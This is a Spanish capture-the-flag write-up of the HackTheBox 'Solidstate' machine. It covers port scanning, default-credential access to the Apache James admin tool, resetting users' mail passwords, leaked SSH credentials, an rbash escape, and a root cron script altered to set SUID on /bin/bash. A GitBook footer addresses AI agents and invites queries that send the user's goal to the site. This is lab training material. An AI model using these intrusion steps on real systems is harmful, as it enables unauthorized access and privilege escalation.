> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Guía de HackTheBox Solidstate

Guía de la máquina HackTheBox Solidstate de nivel medio Linux que cubre abuso de James Remote Administration Tool, cambio de la contraseña de correo electrónico de un usuario, fuga de información, escape de Bash restringido (rbash), con prác

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando de la herramienta de administración remota de James
* Cambiando la contraseña de correo electrónico de un usuario
* Filtración de información
* Saliendo de Restricted Bash (rbash)
* Creando un script de bash para detectar tareas cron (procmon.sh)
* Abusando de una tarea cron (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0021ae165d2f3722dd1687ff671ec27e8d5db9d8%2Fimage%20(2578).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029fd137f779826b40571577b3958f82a3b1a938%2F%7B3013DF16-7E79-47B4-B431-311F654C6711%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Explorando puertos abiertos y exportándolos al archivo "allPorts" en el directorio de Nmap.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a124ca1e2dace9426b1fb6f2a9f2dcb1bf06245%2Fimage%20(2579).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (22.25,80,110,119,45555)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f728b9a9b55a968481962da255f0179506710a7a%2Fimage%20(2580).png?alt=media" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266549df1cc2722c270624c30ed58779d1dcda1%2F%7B4122DB1E-ED8B-4F69-A716-86C5776BAC30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Puerto 80

#### No se encontró información interesante en el puerto 80.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93a73940cc5b4af4578e63400ad6c54c8cde78a3%2Fimage%20(2581).png?alt=media" alt=""><figcaption></figcaption></figure>

## Administración remota de JAMES

### Puerto 119 - NNTP

> El puerto 119 utiliza el Protocolo de Transferencia de Noticias en Red. El servidor ejecuta una instancia de Apache James, un servidor de correo y noticias. Nos conectamos con `netcat`, pero no se encuentra información relevante.

```bash
nc 10.10.10.51 119
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac52aaefad480ecc1e2707fb767e5cbb60df7b7e%2Fimage%20(2585).png?alt=media" alt=""><figcaption></figcaption></figure>

### Puerto 4555 - Herramienta de administración remota

> En el contexto de la administración remota, puede utilizarse para acceder a paneles de control o interactuar con servicios remotos en la máquina objetivo. Es importante escanearlo para ver si está abierto y qué servicio aloja.

Intentamos conectarnos al panel de administración de James vía Telnet:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9b69cb11db8b4ba5cbde48f429f9937ce8bc64%2Fimage%20(2582).png?alt=media" alt=""><figcaption></figcaption></figure>

Después de buscar las credenciales predeterminadas, encontramos:

* **ID** : root
* **Contraseña** : root

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69074b0e161c628ff9e3a8823ef1e0af04907555%2Fimage%20(2583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1518ab79ebe0f30c9b60d29a92fc0a92595946eb%2Fimage%20(2584).png?alt=media" alt=""><figcaption></figcaption></figure>

Nos conectamos con éxito y accedemos al panel de administración de James. Tenemos la opción de listar usuarios con el `listusers` comando, lo que nos permite descubrir 5 usuarios:

* `usuario: james`
* `usuario: thomas`
* `usuario: john`
* `usuario: mindy`
* `usuario: mailadmin`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15c171b11ef961402c79067a1813f6c62343f0be%2Fimage%20(2586).png?alt=media" alt=""><figcaption></figcaption></figure>

Podemos cambiar las contraseñas de usuario con el `setpassword` comando para conectarlas al cliente de correo en el puerto 110. Lo hacemos para todos los usuarios:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd03b9a00bf3d2978d4eafffbea83d2eb2f033c5%2Fimage%20(2587).png?alt=media" alt=""><figcaption></figcaption></figure>

### Puerto 110 - POP3

> El puerto 110 es el puerto estándar utilizado para **POP3** (Protocolo de Oficina de Correos versión 3). Este protocolo es utilizado por los clientes de correo electrónico para recuperar correos de un servidor. Cuando un usuario se conecta a un servidor POP3 a través de este puerto, puede descargar sus mensajes.

Ahora nos conectamos al cliente POP3 vía Telnet:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

Para conectarnos, usamos los siguientes comandos:

```ada
USER <usuario>
PASS <contraseña>
```

Listamos los mensajes con el `list` comando.

Observamos que no hay mensajes en los buzones de `james` y `thomas`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1d9940d1c339a1c5b9bc44b6b8a0c43d4c8b8c7%2Fimage%20(2588).png?alt=media" alt=""><figcaption></figcaption></figure>

Sin embargo, el usuario `john` tiene un mensaje que recuperamos con el `retr 1` comando. El mensaje contiene el siguiente texto:

> John,
>
> ¿Puedes restringir el acceso de Mindy hasta que se le permita unirse al programa? Además, asegúrate de enviarle una contraseña temporal para que pueda conectarse a sus cuentas.
>
> Gracias de antemano.
>
> Atentamente,/ James

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8f6ae1ff1fd1cf1787c337a246d667f138b24b1%2Fimage%20(2589).png?alt=media" alt=""><figcaption></figcaption></figure>

Esto sugiere que el usuario `mindy` tiene credenciales en su buzón de correo. En efecto, encontramos la siguiente información:

* **Nombre de usuario** : mindy
* **Contraseña** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b30fc925aed5ccf801ef0c46bc305b96ded344c3%2Fimage%20(2590).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Usamos estas credenciales para conectarnos vía SSH y obtener la bandera `user.txt`.

### Bandera user.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4aaa7b8b3c59eb50ae0ca7922721c841586d0bd%2Fimage%20(2591).png?alt=media" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios:

### **Salir de RBash a Bash**

El `mindy` el usuario actualmente usa una `rbash` shell que limita la ejecución de muchos comandos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b974ef5e62ab54ab40bb654c6edd6285db721d6%2Fimage%20(2592).png?alt=media" alt=""><figcaption></figcaption></figure>

Para eludir esta restricción, usamos el siguiente comando al conectarnos por SSH para obtener una shell Bash:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2133a4742764de292e0e29c65c8b52dd97e53f23%2Fimage%20(2593).png?alt=media" alt=""><figcaption></figcaption></figure>

Luego usamos los siguientes comandos para procesar la terminal y obtener una shell completa:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Tareas cron - Script modificado (Python):

Creamos un script Bash para analizar los procesos actuales y detectar tareas cron ejecutadas en la máquina objetivo:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

Al ejecutar este script, observamos que el **root** usuario está ejecutando un script de Python ubicado en el `/opt/tmp.py` directorio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9538c0cbd5164035789a6eea857c7073875affc4%2Fimage%20(914).png?alt=media" alt=""><figcaption></figcaption></figure>

Tenemos la posibilidad de modificar este script de Python.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95e7236d2a6a42cc92e1ab2bebbf6164597e73d9%2Fimage%20(915).png?alt=media" alt=""><figcaption></figcaption></figure>

Lo modificamos para añadir el comando para establecer un **setuid** en el `/bin/bash` binario, lo que nos permite ejecutar una shell Bash con los privilegios de **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

Después de editar el script, esperamos aproximadamente un minuto para que se ejecute la tarea cron.

Una vez ejecutada la tarea cron, podemos obtener una shell Bash con **root** privilegios ejecutando el siguiente comando:

```bash
/bin/bash -p
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20afa3f33b8693d87c89d5a9adc507b116c361df%2Fimage%20(916).png?alt=media" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30947eda0d69d9b47d9155cd855e52c6f542bbb5%2Fimage%20(917).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdc1faec4f3dad1858ac9b48ad6737cb00b3a2ce%2F%7B1027F92C-0EA9-4241-A996-C0C29A1EA219%7D.png?alt=media" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
